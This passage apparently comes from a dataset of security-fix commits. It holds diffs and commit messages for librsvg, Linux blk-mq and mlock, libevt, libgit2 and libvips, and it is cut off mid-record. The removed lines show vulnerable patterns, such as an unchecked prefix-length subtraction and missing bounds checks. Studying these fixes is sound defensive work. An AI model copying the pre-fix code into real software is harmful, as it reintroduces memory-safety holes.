g_strdup (filename);\n- } else {\n- gchar *tmpcdir;\n- gchar *base_filename;\n-\n- if (base_uri) {\n- base_filename = g_filename_from_uri (base_uri, NULL, NULL);\n- if (base_filename != NULL) {\n- tmpcdir = g_path_get_dirname (base_filename);\n- g_free (base_filename);\n- } else \n- return NULL;\n- } else\n- tmpcdir = g_get_current_dir ();\n-\n- absolute_filename = g_build_filename (tmpcdir, filename, NULL);\n- g_free (tmpcdir);\n- }\n-\n- return absolute_filename;\n-}\n-\n static char *\n-rsvg_acquire_file_data (const char *filename,\n- const char *base_uri,\n+rsvg_acquire_file_data (const char *uri,\n char **out_mime_type,\n gsize *out_len,\n GCancellable *cancellable,\n GError **error)\n {\n+ GFile *file;\n gchar *path, *data;\n gsize len;\n char *content_type;\n \n- rsvg_return_val_if_fail (filename != NULL, NULL, error);\n+ rsvg_return_val_if_fail (uri != NULL, NULL, error);\n g_assert (out_len != NULL);\n \n- path = _rsvg_io_get_file_path (filename, base_uri);\n- if (path == NULL)\n+ file = g_file_new_for_uri (uri);\n+ path = g_file_get_path (file);\n+\n+ if (path == NULL) {\n+ g_object_unref (file);\n return NULL;\n+ }\n \n if (!g_file_get_contents (path, &data, &len, error)) {\n g_free (path);\n+ g_object_unref (file);\n return NULL;\n }\n \n@@ -184,6 +160,7 @@ rsvg_acquire_file_data (const char *filename,\n }\n \n g_free (path);\n+ g_object_unref (file);\n \n *out_len = len;\n return data;\n@@ -313,9 +290,9 @@ _rsvg_io_acquire_data (const char *href,\n len = &llen;\n \n if (strncmp (href, \"data:\", 5) == 0)\n- return rsvg_acquire_data_data (href, NULL, mime_type, len, error);\n+ return rsvg_decode_data_uri (href, mime_type, len, error);\n \n- if ((data = rsvg_acquire_file_data (href, base_uri, mime_type, len, cancellable, NULL)))\n+ if ((data = rsvg_acquire_file_data (href, mime_type, len, cancellable, NULL)))\n return data;\n \n if ((data = rsvg_acquire_gvfs_data (href, base_uri, mime_type, len, cancellable, error)))\n@@ -342,13 +319,13 @@ _rsvg_io_acquire_stream (const char *href,\n }\n \n if (strncmp (href, \"data:\", 5) == 0) {\n- if (!(data = rsvg_acquire_data_data (href, NULL, mime_type, &len, error)))\n+ if (!(data = rsvg_decode_data_uri (href, mime_type, &len, error)))\n return NULL;\n \n return g_memory_input_stream_new_from_data (data, len, (GDestroyNotify) g_free);\n }\n \n- if ((data = rsvg_acquire_file_data (href, base_uri, mime_type, &len, cancellable, NULL)))\n+ if ((data = rsvg_acquire_file_data (href, mime_type, &len, cancellable, NULL)))\n return g_memory_input_stream_new_from_data (data, len, (GDestroyNotify) g_free);\n \n if ((stream = rsvg_acquire_gvfs_stream (href, base_uri, mime_type, cancellable, error)))", "sections": [{"section": "@@ -1,3 +1,4 @@\n+/* -*- Mode: C; indent-tabs-mode: nil; c-basic-offset: 4 -*- */\n /*\n Copyright (C) 2000 Eazel, Inc.\n Copyright (C) 2002, 2003, 2004, 2005 Dom Lachowicz \n", "related": false}, {"section": "@@ -66,11 +67,10 @@ uri_decoded_copy (const char *part,\n #define BASE64_INDICATOR_LEN (sizeof (\";base64\") - 1)\n \n static char *\n-rsvg_acquire_data_data (const char *uri,\n- const char *base_uri, \n- char **out_mime_type,\n- gsize *out_len,\n- GError **error)\n+rsvg_decode_data_uri (const char *uri,\n+ char **out_mime_type,\n+ gsize *out_len,\n+ GError **error)\n {\n const char *comma, *start, *end;\n char *mime_type;\n", "related": false}, {"section": "@@ -124,56 +124,32 @@ rsvg_acquire_data_data (const char *uri,\n return data;\n }\n \n-gchar *\n-_rsvg_io_get_file_path (const gchar * filename,\n- const gchar * base_uri)\n-{\n- gchar *absolute_filename;\n-\n- if (g_file_test (filename, G_FILE_TEST_EXISTS) || g_path_is_absolute (filename)) {\n- absolute_filename = g_strdup (filename);\n- } else {\n- gchar *tmpcdir;\n- gchar *base_filename;\n-\n- if (base_uri) {\n- base_filename = g_filename_from_uri (base_uri, NULL, NULL);\n- if (base_filename != NULL) {\n- tmpcdir = g_path_get_dirname (base_filename);\n- g_free (base_filename);\n- } else \n- return NULL;\n- } else\n- tmpcdir = g_get_current_dir ();\n-\n- absolute_filename = g_build_filename (tmpcdir, filename, NULL);\n- g_free (tmpcdir);\n- }\n-\n- return absolute_filename;\n-}\n-\n static char *\n-rsvg_acquire_file_data (const char *filename,\n- const char *base_uri,\n+rsvg_acquire_file_data (const char *uri,\n char **out_mime_type,\n gsize *out_len,\n GCancellable *cancellable,\n GError **error)\n {\n+ GFile *file;\n gchar *path, *data;\n gsize len;\n char *content_type;\n \n- rsvg_return_val_if_fail (filename != NULL, NULL, error);\n+ rsvg_return_val_if_fail (uri != NULL, NULL, error);\n g_assert (out_len != NULL);\n \n- path = _rsvg_io_get_file_path (filename, base_uri);\n- if (path == NULL)\n+ file = g_file_new_for_uri (uri);\n+ path = g_file_get_path (file);\n+\n+ if (path == NULL) {\n+ g_object_unref (file);\n return NULL;\n+ }\n \n if (!g_file_get_contents (path, &data, &len, error)) {\n g_free (path);\n+ g_object_unref (file);\n return NULL;\n }\n \n", "related": false}, {"section": "@@ -184,6 +160,7 @@ rsvg_acquire_file_data (const char *filename,\n }\n \n g_free (path);\n+ g_object_unref (file);\n \n *out_len = len;\n return data;\n", "related": false}, {"section": "@@ -313,9 +290,9 @@ _rsvg_io_acquire_data (const char *href,\n len = &llen;\n \n if (strncmp (href, \"data:\", 5) == 0)\n- return rsvg_acquire_data_data (href, NULL, mime_type, len, error);\n+ return rsvg_decode_data_uri (href, mime_type, len, error);\n \n- if ((data = rsvg_acquire_file_data (href, base_uri, mime_type, len, cancellable, NULL)))\n+ if ((data = rsvg_acquire_file_data (href, mime_type, len, cancellable, NULL)))\n return data;\n \n if ((data = rsvg_acquire_gvfs_data (href, base_uri, mime_type, len, cancellable, error)))\n", "related": false}, {"section": "@@ -342,13 +319,13 @@ _rsvg_io_acquire_stream (const char *href,\n }\n \n if (strncmp (href, \"data:\", 5) == 0) {\n- if (!(data = rsvg_acquire_data_data (href, NULL, mime_type, &len, error)))\n+ if (!(data = rsvg_decode_data_uri (href, mime_type, &len, error)))\n return NULL;\n \n return g_memory_input_stream_new_from_data (data, len, (GDestroyNotify) g_free);\n }\n \n- if ((data = rsvg_acquire_file_data (href, base_uri, mime_type, &len, cancellable, NULL)))\n+ if ((data = rsvg_acquire_file_data (href, mime_type, &len, cancellable, NULL)))\n return g_memory_input_stream_new_from_data (data, len, (GDestroyNotify) g_free);\n \n if ((stream = rsvg_acquire_gvfs_stream (href, base_uri, mime_type, cancellable, error)))", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "block/blk.h", "commit_id": "0048b4837affd153897ed1222283492070027aa9", "commit_message": "blk-mq: fix race between timeout and freeing request\n\nInside timeout handler, blk_mq_tag_to_rq() is called\nto retrieve the request from one tag. This way is obviously\nwrong because the request can be freed any time and some\nfiedds of the request can't be trusted, then kernel oops\nmight be triggered[1].\n\nCurrently wrt. blk_mq_tag_to_rq(), the only special case is\nthat the flush request can share same tag with the request\ncloned from, and the two requests can't be active at the same\ntime, so this patch fixes the above issue by updating tags->rqs[tag]\nwith the active request(either flush rq or the request cloned\nfrom) of the tag.\n\nAlso blk_mq_tag_to_rq() gets much simplified with this patch.\n\nGiven blk_mq_tag_to_rq() is mainly for drivers and the caller must\nmake sure the request can't be freed, so in bt_for_each() this\nhelper is replaced with tags->rqs[tag].\n\n[1] kernel oops log\n[ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M\n[ 439.697162] IP: [] blk_mq_tag_to_rq+0x21/0x6e^M\n[ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M\n[ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M\n[ 439.700653] Dumping ftrace buffer:^M\n[ 439.700653] (ftrace buffer empty)^M\n[ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M\n[ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M\n[ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M\n[ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M\n[ 439.730500] RIP: 0010:[] [] blk_mq_tag_to_rq+0x21/0x6e^M\n[ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M\n[ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M\n[ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M\n[ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M\n[ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M\n[ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M\n[ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M\n[ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M\n[ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M\n[ 439.730500] Stack:^M\n[ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M\n[ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M\n[ 439.755663] Call Trace:^M\n[ 439.755663] ^M\n[ 439.755663] [] bt_for_each+0x6e/0xc8^M\n[ 439.755663] [] ? blk_mq_rq_timed_out+0x6a/0x6a^M\n[ 439.755663] [] ? blk_mq_rq_timed_out+0x6a/0x6a^M\n[ 439.755663] [] blk_mq_tag_busy_iter+0x55/0x5e^M\n[ 439.755663] [] ? blk_mq_bio_to_request+0x38/0x38^M\n[ 439.755663] [] blk_mq_rq_timer+0x5d/0xd4^M\n[ 439.755663] [] call_timer_fn+0xf7/0x284^M\n[ 439.755663] [] ? call_timer_fn+0x5/0x284^M\n[ 439.755663] [] ? blk_mq_bio_to_request+0x38/0x38^M\n[ 439.755663] [] run_timer_softirq+0x1ce/0x1f8^M\n[ 439.755663] [] __do_softirq+0x181/0x3a4^M\n[ 439.755663] [] irq_exit+0x40/0x94^M\n[ 439.755663] [] smp_apic_timer_interrupt+0x33/0x3e^M\n[ 439.755663] [] apic_timer_interrupt+0x84/0x90^M\n[ 439.755663] ^M\n[ 439.755663] [] ? _raw_spin_unlock_irq+0x32/0x4a^M\n[ 439.755663] [] finish_task_switch+0xe0/0x163^M\n[ 439.755663] [] ? finish_task_switch+0xa2/0x163^M\n[ 439.755663] [] __schedule+0x469/0x6cd^M\n[ 439.755663] [] schedule+0x82/0x9a^M\n[ 439.789267] [] signalfd_read+0x186/0x49a^M\n[ 439.790911] [] ? wake_up_q+0x47/0x47^M\n[ 439.790911] [] __vfs_read+0x28/0x9f^M\n[ 439.790911] [] ? __fget_light+0x4d/0x74^M\n[ 439.790911] [] vfs_read+0x7a/0xc6^M\n[ 439.790911] [] SyS_read+0x49/0x7f^M\n[ 439.790911] [] entry_SYSCALL_64_fastpath+0x12/0x6f^M\n[ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89\nf2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b\n53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10\n^M\n[ 439.790911] RIP [] blk_mq_tag_to_rq+0x21/0x6e^M\n[ 439.790911] RSP ^M\n[ 439.790911] CR2: 0000000000000158^M\n[ 439.790911] ---[ end trace d40af58949325661 ]---^M\n\nCc: \nSigned-off-by: Ming Lei \nSigned-off-by: Jens Axboe ", "patch": "@@ -22,6 +22,12 @@ struct blk_flush_queue {\n \tstruct list_head\tflush_queue[2];\n \tstruct list_head\tflush_data_in_flight;\n \tstruct request\t\t*flush_rq;\n+\n+\t/*\n+\t * flush_rq shares tag with this rq, both can't be active\n+\t * at the same time\n+\t */\n+\tstruct request\t\t*orig_rq;\n \tspinlock_t\t\tmq_flush_lock;\n };\n ", "sections": [{"section": "@@ -22,6 +22,12 @@ struct blk_flush_queue {\n \tstruct list_head\tflush_queue[2];\n \tstruct list_head\tflush_data_in_flight;\n \tstruct request\t\t*flush_rq;\n+\n+\t/*\n+\t * flush_rq shares tag with this rq, both can't be active\n+\t * at the same time\n+\t */\n+\tstruct request\t\t*orig_rq;\n \tspinlock_t\t\tmq_flush_lock;\n };\n ", "related": false}]} +{"owner": "libyal", "repo": "libevt", "language": "C", "file_name": "libevt/libevt_record_values.c", "commit_id": "9d2cc3ca0a1612a6b271abcacffc2e3eea42925e", "commit_message": "Applied updates and addition boundary checks for corrupted data", "patch": "@@ -1157,6 +1157,17 @@ int libevt_record_values_read_event(\n \t}\n \tif( user_sid_size != 0 )\n \t{\n+\t\tif( user_sid_size > ( ( record_data_size - 4 ) - user_sid_offset ) )\n+\t\t{\n+\t\t\tlibcerror_error_set(\n+\t\t\t error,\n+\t\t\t LIBCERROR_ERROR_DOMAIN_RUNTIME,\n+\t\t\t LIBCERROR_RUNTIME_ERROR_VALUE_OUT_OF_BOUNDS,\n+\t\t\t \"%s: user SID data size value out of bounds.\",\n+\t\t\t function );\n+\n+\t\t\tgoto on_error;\n+\t\t}\n \t\tif( libfvalue_value_type_initialize(\n \t\t &( record_values->user_security_identifier ),\n \t\t LIBFVALUE_VALUE_TYPE_NT_SECURITY_IDENTIFIER,\n@@ -1218,6 +1229,17 @@ int libevt_record_values_read_event(\n \t}\n \tif( strings_size != 0 )\n \t{\n+\t\tif( strings_size > ( ( record_data_size - 4 ) - strings_offset ) )\n+\t\t{\n+\t\t\tlibcerror_error_set(\n+\t\t\t error,\n+\t\t\t LIBCERROR_ERROR_DOMAIN_RUNTIME,\n+\t\t\t LIBCERROR_RUNTIME_ERROR_VALUE_OUT_OF_BOUNDS,\n+\t\t\t \"%s: strings size value out of bounds.\",\n+\t\t\t function );\n+\n+\t\t\tgoto on_error;\n+\t\t}\n #if defined( HAVE_DEBUG_OUTPUT )\n \t\tif( libcnotify_verbose != 0 )\n \t\t{\n@@ -1285,14 +1307,25 @@ int libevt_record_values_read_event(\n \t}\n \tif( data_size != 0 )\n \t{\n+\t\tif( data_size > ( ( record_data_size - 4 ) - record_data_offset ) )\n+\t\t{\n+\t\t\tlibcerror_error_set(\n+\t\t\t error,\n+\t\t\t LIBCERROR_ERROR_DOMAIN_RUNTIME,\n+\t\t\t LIBCERROR_RUNTIME_ERROR_VALUE_OUT_OF_BOUNDS,\n+\t\t\t \"%s: data size value out of bounds.\",\n+\t\t\t function );\n+\n+\t\t\tgoto on_error;\n+\t\t}\n #if defined( HAVE_DEBUG_OUTPUT )\n \t\tif( libcnotify_verbose != 0 )\n \t\t{\n \t\t\tlibcnotify_printf(\n \t\t\t \"%s: data:\\n\",\n \t\t\t function );\n \t\t\tlibcnotify_print_data(\n-\t\t\t &( record_data[ data_offset ] ),\n+\t\t\t &( record_data[ record_data_offset ] ),\n \t\t\t (size_t) data_size,\n \t\t\t LIBCNOTIFY_PRINT_DATA_FLAG_GROUP_DATA );\n \t\t}", "sections": [{"section": "@@ -1157,6 +1157,17 @@ int libevt_record_values_read_event(\n \t}\n \tif( user_sid_size != 0 )\n \t{\n+\t\tif( user_sid_size > ( ( record_data_size - 4 ) - user_sid_offset ) )\n+\t\t{\n+\t\t\tlibcerror_error_set(\n+\t\t\t error,\n+\t\t\t LIBCERROR_ERROR_DOMAIN_RUNTIME,\n+\t\t\t LIBCERROR_RUNTIME_ERROR_VALUE_OUT_OF_BOUNDS,\n+\t\t\t \"%s: user SID data size value out of bounds.\",\n+\t\t\t function );\n+\n+\t\t\tgoto on_error;\n+\t\t}\n \t\tif( libfvalue_value_type_initialize(\n \t\t &( record_values->user_security_identifier ),\n \t\t LIBFVALUE_VALUE_TYPE_NT_SECURITY_IDENTIFIER,\n", "related": false}, {"section": "@@ -1218,6 +1229,17 @@ int libevt_record_values_read_event(\n \t}\n \tif( strings_size != 0 )\n \t{\n+\t\tif( strings_size > ( ( record_data_size - 4 ) - strings_offset ) )\n+\t\t{\n+\t\t\tlibcerror_error_set(\n+\t\t\t error,\n+\t\t\t LIBCERROR_ERROR_DOMAIN_RUNTIME,\n+\t\t\t LIBCERROR_RUNTIME_ERROR_VALUE_OUT_OF_BOUNDS,\n+\t\t\t \"%s: strings size value out of bounds.\",\n+\t\t\t function );\n+\n+\t\t\tgoto on_error;\n+\t\t}\n #if defined( HAVE_DEBUG_OUTPUT )\n \t\tif( libcnotify_verbose != 0 )\n \t\t{\n", "related": false}, {"section": "@@ -1285,14 +1307,25 @@ int libevt_record_values_read_event(\n \t}\n \tif( data_size != 0 )\n \t{\n+\t\tif( data_size > ( ( record_data_size - 4 ) - record_data_offset ) )\n+\t\t{\n+\t\t\tlibcerror_error_set(\n+\t\t\t error,\n+\t\t\t LIBCERROR_ERROR_DOMAIN_RUNTIME,\n+\t\t\t LIBCERROR_RUNTIME_ERROR_VALUE_OUT_OF_BOUNDS,\n+\t\t\t \"%s: data size value out of bounds.\",\n+\t\t\t function );\n+\n+\t\t\tgoto on_error;\n+\t\t}\n #if defined( HAVE_DEBUG_OUTPUT )\n \t\tif( libcnotify_verbose != 0 )\n \t\t{\n \t\t\tlibcnotify_printf(\n \t\t\t \"%s: data:\\n\",\n \t\t\t function );\n \t\t\tlibcnotify_print_data(\n-\t\t\t &( record_data[ data_offset ] ),\n+\t\t\t &( record_data[ record_data_offset ] ),\n \t\t\t (size_t) data_size,\n \t\t\t LIBCNOTIFY_PRINT_DATA_FLAG_GROUP_DATA );\n \t\t}", "related": false}]} +{"owner": "libgit2", "repo": "libgit2", "language": "C", "file_name": "src/index.c", "commit_id": "3207ddb0103543da8ad2139ec6539f590f9900c1", "commit_message": "index: fix out-of-bounds read with invalid index entry prefix length\n\nThe index format in version 4 has prefix-compressed entries, where every\nindex entry can compress its path by using a path prefix of the previous\nentry. Since implmenting support for this index format version in commit\n5625d86b9 (index: support index v4, 2016-05-17), though, we do not\ncorrectly verify that the prefix length that we want to reuse is\nactually smaller or equal to the amount of characters than the length of\nthe previous index entry's path. This can lead to a an integer underflow\nand subsequently to an out-of-bounds read.\n\nFix this by verifying that the prefix is actually smaller than the\nprevious entry's path length.\n\nReported-by: Krishna Ram Prakash R \nReported-by: Vivek Parikh ", "patch": "@@ -2365,17 +2365,18 @@ static int read_entry(\n \t\tentry_size = index_entry_size(path_length, 0, entry.flags);\n \t\tentry.path = (char *)path_ptr;\n \t} else {\n-\t\tsize_t varint_len;\n-\t\tsize_t strip_len = git_decode_varint((const unsigned char *)path_ptr,\n-\t\t\t\t\t\t &varint_len);\n-\t\tsize_t last_len = strlen(last);\n-\t\tsize_t prefix_len = last_len - strip_len;\n-\t\tsize_t suffix_len = strlen(path_ptr + varint_len);\n-\t\tsize_t path_len;\n-\n-\t\tif (varint_len == 0)\n+\t\tsize_t varint_len, last_len, prefix_len, suffix_len, path_len;\n+\t\tuintmax_t strip_len;\n+\n+\t\tstrip_len = git_decode_varint((const unsigned char *)path_ptr, &varint_len);\n+\t\tlast_len = strlen(last);\n+\n+\t\tif (varint_len == 0 || last_len < strip_len)\n \t\t\treturn index_error_invalid(\"incorrect prefix length\");\n \n+\t\tprefix_len = last_len - strip_len;\n+\t\tsuffix_len = strlen(path_ptr + varint_len);\n+\n \t\tGITERR_CHECK_ALLOC_ADD(&path_len, prefix_len, suffix_len);\n \t\tGITERR_CHECK_ALLOC_ADD(&path_len, path_len, 1);\n \t\ttmp_path = git__malloc(path_len);", "sections": [{"section": "@@ -2365,17 +2365,18 @@ static int read_entry(\n \t\tentry_size = index_entry_size(path_length, 0, entry.flags);\n \t\tentry.path = (char *)path_ptr;\n \t} else {\n-\t\tsize_t varint_len;\n-\t\tsize_t strip_len = git_decode_varint((const unsigned char *)path_ptr,\n-\t\t\t\t\t\t &varint_len);\n-\t\tsize_t last_len = strlen(last);\n-\t\tsize_t prefix_len = last_len - strip_len;\n-\t\tsize_t suffix_len = strlen(path_ptr + varint_len);\n-\t\tsize_t path_len;\n-\n-\t\tif (varint_len == 0)\n+\t\tsize_t varint_len, last_len, prefix_len, suffix_len, path_len;\n+\t\tuintmax_t strip_len;\n+\n+\t\tstrip_len = git_decode_varint((const unsigned char *)path_ptr, &varint_len);\n+\t\tlast_len = strlen(last);\n+\n+\t\tif (varint_len == 0 || last_len < strip_len)\n \t\t\treturn index_error_invalid(\"incorrect prefix length\");\n \n+\t\tprefix_len = last_len - strip_len;\n+\t\tsuffix_len = strlen(path_ptr + varint_len);\n+\n \t\tGITERR_CHECK_ALLOC_ADD(&path_len, prefix_len, suffix_len);\n \t\tGITERR_CHECK_ALLOC_ADD(&path_len, path_len, 1);\n \t\ttmp_path = git__malloc(path_len);", "related": true}]} +{"owner": "jcupitt", "repo": "libvips", "language": "C", "file_name": "libvips/foreign/foreign.c", "commit_id": "20d840e6da15c1574b3ed998bc92f91d1e36c2a5", "commit_message": "fix a crash with delayed load\n\nIf a delayed load failed, it could leave the pipeline only half-set up.\nSebsequent threads could then segv.\n\nSet a load-has-failed flag and test before generate.\n\nSee https://github.com/jcupitt/libvips/issues/893", "patch": "@@ -18,6 +18,8 @@\n * \t- transform cmyk->rgb if there's an embedded profile\n * 16/6/17\n * \t- add page_height\n+ * 5/3/18\n+ * \t- block _start if one start fails, see #893\n */\n \n /*\n@@ -796,6 +798,11 @@ vips_foreign_load_start( VipsImage *out, void *a, void *b )\n \tVipsForeignLoad *load = VIPS_FOREIGN_LOAD( b );\n \tVipsForeignLoadClass *class = VIPS_FOREIGN_LOAD_GET_CLASS( load );\n \n+\t/* If this start has failed before in another thread, we can fail now.\n+\t */\n+\tif( load->error )\n+\t\treturn( NULL );\n+\n \tif( !load->real ) {\n \t\tif( !(load->real = vips_foreign_load_temp( load )) )\n \t\t\treturn( NULL );\n@@ -819,19 +826,25 @@ vips_foreign_load_start( VipsImage *out, void *a, void *b )\n \t\tg_object_set_qdata( G_OBJECT( load->real ), \n \t\t\tvips__foreign_load_operation, load ); \n \n-\t\tif( class->load( load ) ||\n-\t\t\tvips_image_pio_input( load->real ) ) \n-\t\t\treturn( NULL );\n-\n-\t\t/* ->header() read the header into @out, load has read the\n+\t\t/* Load the image and check the result.\n+\t\t *\n+\t\t * ->header() read the header into @out, load has read the\n \t\t * image into @real. They must match exactly in size, bands,\n \t\t * format and coding for the copy to work. \n \t\t *\n \t\t * Some versions of ImageMagick give different results between\n \t\t * Ping and Load for some formats, for example.\n+\t\t *\n+\t\t * If the load fails, we need to stop\n \t\t */\n-\t\tif( !vips_foreign_load_iscompat( load->real, out ) )\n+\t\tif( class->load( load ) ||\n+\t\t\tvips_image_pio_input( load->real ) || \n+\t\t\tvips_foreign_load_iscompat( load->real, out ) ) {\n+\t\t\tvips_operation_invalidate( VIPS_OPERATION( load ) ); \n+\t\t\tload->error = TRUE;\n+\n \t\t\treturn( NULL );\n+\t\t}\n \n \t\t/* We have to tell vips that out depends on real. We've set\n \t\t * the demand hint below, but not given an input there.", "sections": [{"section": "@@ -18,6 +18,8 @@\n * \t- transform cmyk->rgb if there's an embedded profile\n * 16/6/17\n * \t- add page_height\n+ * 5/3/18\n+ * \t- block _start if one start fails, see #893\n */\n \n /*\n", "related": false}, {"section": "@@ -796,6 +798,11 @@ vips_foreign_load_start( VipsImage *out, void *a, void *b )\n \tVipsForeignLoad *load = VIPS_FOREIGN_LOAD( b );\n \tVipsForeignLoadClass *class = VIPS_FOREIGN_LOAD_GET_CLASS( load );\n \n+\t/* If this start has failed before in another thread, we can fail now.\n+\t */\n+\tif( load->error )\n+\t\treturn( NULL );\n+\n \tif( !load->real ) {\n \t\tif( !(load->real = vips_foreign_load_temp( load )) )\n \t\t\treturn( NULL );\n", "related": false}, {"section": "@@ -819,19 +826,25 @@ vips_foreign_load_start( VipsImage *out, void *a, void *b )\n \t\tg_object_set_qdata( G_OBJECT( load->real ), \n \t\t\tvips__foreign_load_operation, load ); \n \n-\t\tif( class->load( load ) ||\n-\t\t\tvips_image_pio_input( load->real ) ) \n-\t\t\treturn( NULL );\n-\n-\t\t/* ->header() read the header into @out, load has read the\n+\t\t/* Load the image and check the result.\n+\t\t *\n+\t\t * ->header() read the header into @out, load has read the\n \t\t * image into @real. They must match exactly in size, bands,\n \t\t * format and coding for the copy to work. \n \t\t *\n \t\t * Some versions of ImageMagick give different results between\n \t\t * Ping and Load for some formats, for example.\n+\t\t *\n+\t\t * If the load fails, we need to stop\n \t\t */\n-\t\tif( !vips_foreign_load_iscompat( load->real, out ) )\n+\t\tif( class->load( load ) ||\n+\t\t\tvips_image_pio_input( load->real ) || \n+\t\t\tvips_foreign_load_iscompat( load->real, out ) ) {\n+\t\t\tvips_operation_invalidate( VIPS_OPERATION( load ) ); \n+\t\t\tload->error = TRUE;\n+\n \t\t\treturn( NULL );\n+\t\t}\n \n \t\t/* We have to tell vips that out depends on real. We've set\n \t\t * the demand hint below, but not given an input there.", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "mm/mlock.c", "commit_id": "70feee0e1ef331b22cc51f383d532a0d043fbdcc", "commit_message": "mlock: fix mlock count can not decrease in race condition\n\nKefeng reported that when running the follow test, the mlock count in\nmeminfo will increase permanently:\n\n [1] testcase\n linux:~ # cat test_mlockal\n grep Mlocked /proc/meminfo\n for j in `seq 0 10`\n do\n \tfor i in `seq 4 15`\n \tdo\n \t\t./p_mlockall >> log &\n \tdone\n \tsleep 0.2\n done\n # wait some time to let mlock counter decrease and 5s may not enough\n sleep 5\n grep Mlocked /proc/meminfo\n\n linux:~ # cat p_mlockall.c\n #include \n #include \n #include \n\n #define SPACE_LEN\t4096\n\n int main(int argc, char ** argv)\n {\n\t \tint ret;\n\t \tvoid *adr = malloc(SPACE_LEN);\n\t \tif (!adr)\n\t \t\treturn -1;\n\n\t \tret = mlockall(MCL_CURRENT | MCL_FUTURE);\n\t \tprintf(\"mlcokall ret = %d\\n\", ret);\n\n\t \tret = munlockall();\n\t \tprintf(\"munlcokall ret = %d\\n\", ret);\n\n\t \tfree(adr);\n\t \treturn 0;\n\t }\n\nIn __munlock_pagevec() we should decrement NR_MLOCK for each page where\nwe clear the PageMlocked flag. Commit 1ebb7cc6a583 (\"mm: munlock: batch\nNR_MLOCK zone state updates\") has introduced a bug where we don't\ndecrement NR_MLOCK for pages where we clear the flag, but fail to\nisolate them from the lru list (e.g. when the pages are on some other\ncpu's percpu pagevec). Since PageMlocked stays cleared, the NR_MLOCK\naccounting gets permanently disrupted by this.\n\nFix it by counting the number of page whose PageMlock flag is cleared.\n\nFixes: 1ebb7cc6a583 (\" mm: munlock: batch NR_MLOCK zone state updates\")\nLink: http://lkml.kernel.org/r/1495678405-54569-1-git-send-email-xieyisheng1@huawei.com\nSigned-off-by: Yisheng Xie \nReported-by: Kefeng Wang \nTested-by: Kefeng Wang \nCc: Vlastimil Babka \nCc: Joern Engel \nCc: Mel Gorman \nCc: Michel Lespinasse \nCc: Hugh Dickins \nCc: Rik van Riel \nCc: Johannes Weiner \nCc: Michal Hocko \nCc: Xishi Qiu \nCc: zhongjiang \nCc: Hanjun Guo \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -284,7 +284,7 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone)\n {\n \tint i;\n \tint nr = pagevec_count(pvec);\n-\tint delta_munlocked;\n+\tint delta_munlocked = -nr;\n \tstruct pagevec pvec_putback;\n \tint pgrescued = 0;\n \n@@ -304,6 +304,8 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone)\n \t\t\t\tcontinue;\n \t\t\telse\n \t\t\t\t__munlock_isolation_failed(page);\n+\t\t} else {\n+\t\t\tdelta_munlocked++;\n \t\t}\n \n \t\t/*\n@@ -315,7 +317,6 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone)\n \t\tpagevec_add(&pvec_putback, pvec->pages[i]);\n \t\tpvec->pages[i] = NULL;\n \t}\n-\tdelta_munlocked = -nr + pagevec_count(&pvec_putback);\n \t__mod_zone_page_state(zone, NR_MLOCK, delta_munlocked);\n \tspin_unlock_irq(zone_lru_lock(zone));\n ", "sections": [{"section": "@@ -284,7 +284,7 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone)\n {\n \tint i;\n \tint nr = pagevec_count(pvec);\n-\tint delta_munlocked;\n+\tint delta_munlocked = -nr;\n \tstruct pagevec pvec_putback;\n \tint pgrescued = 0;\n \n", "related": false}, {"section": "@@ -304,6 +304,8 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone)\n \t\t\t\tcontinue;\n \t\t\telse\n \t\t\t\t__munlock_isolation_failed(page);\n+\t\t} else {\n+\t\t\tdelta_munlocked++;\n \t\t}\n \n \t\t/*\n", "related": false}, {"section": "@@ -315,7 +317,6 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone)\n \t\tpagevec_add(&pvec_putback, pvec->pages[i]);\n \t\tpvec->pages[i] = NULL;\n \t}\n-\tdelta_munlocked = -nr + pagevec_count(&pvec_putback);\n \t__mod_zone_page_state(zone, NR_MLOCK, delta_munlocked);\n \tspin_unlock_irq(zone_lru_lock(zone));\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/ethernet/hisilicon/hns/hns_enet.h", "commit_id": "27463ad99f738ed93c7c8b3e2e5bc8c4853a2ff2", "commit_message": "net: hns: Fix a skb used after free bug\n\nskb maybe freed in 